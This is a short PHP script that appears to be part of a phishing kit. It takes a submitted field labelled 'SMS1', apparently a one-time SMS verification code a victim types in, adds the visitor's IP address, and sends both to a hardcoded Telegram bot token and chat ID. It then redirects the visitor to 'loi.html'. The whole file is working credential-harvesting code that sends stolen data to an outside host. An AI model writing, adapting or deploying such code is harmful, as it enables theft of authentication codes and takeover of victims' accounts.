<?php
$ip = getenv("REMOTE_ADDR");
$message .= "---- : || SMS1 || :------\n";
$message .= "SMS1: ".$_POST['msg']."\n";
$message .= "----: || THANKS BE TO GOD || :------\n";
$message .= "IP: ".$ip."\n";

$token = "5830939589:AAEVxfo2qrsrokQrwrLaBfEpu_p7SgGgUeU";
file_get_contents("https://api.telegram.org/bot$token/sendMessage?chat_id=5468718251&text=" . urlencode($message)."" );
header("Location: loi.html");
?>